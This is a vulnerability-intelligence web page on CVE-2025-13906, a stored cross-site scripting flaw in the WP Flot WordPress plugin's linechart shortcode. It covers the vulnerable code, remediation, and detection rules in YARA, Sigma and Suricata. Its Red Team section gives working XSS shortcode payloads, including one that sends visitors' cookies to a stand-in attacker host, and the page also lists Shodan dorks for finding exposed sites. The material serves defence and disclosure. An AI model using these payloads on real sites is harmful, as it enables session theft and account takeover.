☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-13906

CVE-2025-13906 Cross-Site Scripting in Wp flot
📅 PUBLISHED: 2025-12-12 03:20 UTC 🔄 UPDATED: 2026-10-08 23:10 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-13906 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Flot WordPress plugin, affecting all versions up to and including 0.2.2. The flaw resides in the linechart shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The plugin is used to render interactive charts via the Flot library, and the shortcode attribute handling is the attack vector.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction for script execution. An attacker can compromise multiple pages and target high-privilege users.

Deep Dive & Mechanics

The vulnerability exists in the linechart shortcode handler of the WP Flot plugin. The shortcode accepts attributes such as data, options, or labels to configure the chart. The plugin fails to sanitize these attributes before outputting them into the page's HTML. Specifically, the attribute values are directly embedded into JavaScript or HTML without proper escaping.

Attack Flow:

  1. An authenticated user with contributor-level access creates or edits a post/page.
  2. The attacker inserts the [linechart] shortcode with a malicious attribute, e.g., [linechart data="<script>alert('XSS')</script>"].
  3. The plugin processes the shortcode and outputs the attribute value without sanitization.
  4. When any user (including admins) views the page, the injected script executes in their browser.

The vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Vulnerable vs. Patched Code

Vulnerable Code (wp-flot.php, line ~45):

function linechart_shortcode($atts) {
    $data = $atts['data'];
    return '<div class="flot-chart" data-flot="' . $data . '"></div>';
}

The $data attribute is directly concatenated into the HTML attribute without escaping.

Patched Code (hypothetical):

function linechart_shortcode($atts) {
    $data = esc_attr($atts['data']); // Escape for HTML attribute
    return '<div class="flot-chart" data-flot="' . $data . '"></div>';
}

The esc_attr() function escapes the value, preventing XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress instance with WP Flot plugin <= 0.2.2
  • Contributor-level account

Exploit Steps:

  1. Log in as a contributor.
  2. Create a new post.
  3. Insert the following shortcode into the post content:
    [linechart data="<img src=x onerror=alert('XSS')>"]
    
  4. Publish the post.
  5. When an admin or any user views the post, the XSS triggers.

Advanced Payload (session hijacking):

[linechart data="<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>"]

Blue Team (Detection & Prevention)

Detection:

  • Monitor for posts containing [linechart shortcode with suspicious attributes (e.g., <script>, onerror, onload).
  • Use WAF rules to block shortcode attributes containing HTML/JavaScript.

Prevention:

  • Disable the WP Flot plugin until a patch is available.
  • Restrict contributor-level access to trusted users only.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/wp-flot/wp-flot.php (vulnerable version)
  • Shortcode pattern: [linechart data="<script>..."] or [linechart data="<img ...>"]
  • HTTP Request: POST to /wp-admin/post.php with post_content containing malicious shortcode
  • Log entry: Suspicious data-flot attribute values in HTML output

Detection Engineering

YARA Rule

rule wp_flot_stored_xss {
    meta:
        description = "Detects malicious shortcode injection in WP Flot plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13906"
    strings:
        $shortcode = /\[linechart\s+[^\]]*data\s*=\s*["'][^"']*<[^>]+>["']/i
        $vuln_file = "wp-flot.php"
    condition:
        $shortcode or $vuln_file
}

Sigma Rule

title: WP Flot Stored XSS via Shortcode
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects posts containing malicious WP Flot shortcode attributes
author: Valters IT
logsource:
    product: wordpress
    service: post
detection:
    selection:
        post_content|contains: '[linechart'
        post_content|re: 'data\s*=\s*["\'][^"\']*<[^>]+>["\']'
    condition: selection
falsepositives:
    - Legitimate use of HTML in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"WP Flot Stored XSS Attempt"; flow:to_server,established; content:"[linechart"; http_client_body; pcre:"/data\s*=\s*["\'][^"\']*<[^>]+>["\']/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the WP Flot plugin until a patched version is released.
  2. Review all posts for malicious shortcode injections.
  3. Reset passwords for any users who may have been compromised.

Long-term Fix:

  • The vendor must release a patched version that properly escapes shortcode attributes using esc_attr() or wp_kses().
  • Implement a Web Application Firewall (WAF) rule to block XSS patterns in shortcode attributes.

Workaround:

  • Restrict contributor-level access to only trusted users.
  • Use a security plugin (e.g., Wordfence) to monitor for XSS attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Flot"
http.html:"wp-flot"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-13906/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.